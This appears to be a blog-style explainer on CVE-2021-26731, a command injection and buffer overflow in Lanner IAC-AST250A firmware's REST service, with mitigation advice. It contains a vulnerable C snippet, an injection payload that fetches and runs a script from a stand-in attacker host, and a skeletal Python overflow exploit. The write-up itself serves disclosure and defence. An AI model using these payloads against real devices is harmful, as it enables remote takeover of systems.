CVE-2021-26731 is a critical security vulnerability affecting Lanner Inc IAC-AST250A standard firmware version 1.10.. At its core, this vulnerability allows attackers to execute arbitrary system commands and overflow buffers via the modifyUserb_func function within the spx_restservice process. If exploited, this can lead to full system compromise with root privileges.

Below, we'll break down what this vulnerability is, how it works, and give you an exclusive look at how it can be exploited, complete with code examples. If you’re a defender or a researcher, this is a must-read!

Affected Device: Lanner IAC-AST250A standard firmware version 1.10.

This issue arises because the modifyUserb_func function does not properly sanitize user-supplied input when handling requests, leading to possible remote code execution and buffer overflow.

1. Where’s the Problem?

The server, spx_restservice, exposes a REST API to manage user accounts. One function, modifyUserb_func, fails to validate user input for certain fields—like the username or password—before passing them to system routines and local buffers.

Command Injection: User-controlled data is used directly in a system command, unsanitized.

2. Stack-based Buffer Overflow: The function copies input into a fixed-size buffer using unsafe routines like strcpy or sprintf without length checks.

Here’s a simplified vulnerable code snippet (representational)

void modifyUserb_func(char *username, char *password) {
    char buf[128];
    char cmd[256];

    // Stack buffer overflow: unsafe strcpy usage
    strcpy(buf, username);

    // Command injection: unsanitized input in system command
    sprintf(cmd, "/usr/bin/useradd %s", username);
    system(cmd);
    
    // ... rest of code ...
}

Suppose an attacker sends a crafted username via the REST API

- username = "attacker;wget http://evil.com/x.sh -O-|sh"

The system() call runs

/usr/bin/useradd attacker;wget http://evil.com/x.sh -O-|sh

Example 2: Stack-Based Buffer Overflow

If username is 200 bytes long, it overflows buf[128] in stack memory. With careful input, the attacker can corrupt return addresses and inject shellcode, achieving arbitrary code execution.

Sample Python Exploit Snippet (Buffer Overflow)

import requests

target = "http://target-ip/api/modifyUser";
overflow = "A" * 128   # fill the buffer
eip = "\xDE\xAD\xBE\xEF"  # (example) overwrite control
payload = overflow + eip + "\x90"*16 + "<shellcode>"

data = {
    "username": payload,
    "password": "pass"
}

r = requests.post(target, json=data)
print(r.status_code)

*Note: Exact offsets and shellcode depend on actual firmware and device.*

References

- NVD CVE-2021-26731 Detail
- Lanner Advisories
- Packet Storm Security Advisory

Patch to a fixed firmware version if available from Lanner.

- Restrict API access to trusted hosts/networks.

Conclusion

CVE-2021-26731 is a textbook example of how classic bugs—command injection and unsafe buffer handling—can devastate embedded and IoT systems. Devices running vulnerable firmware should be patched immediately. If you’re a security admin, review your Lanner devices and apply all relevant firmware updates!

Timeline

Published on: 10/24/2022 14:15:00 UTC
Last modified on: 10/24/2022 17:35:00 UTC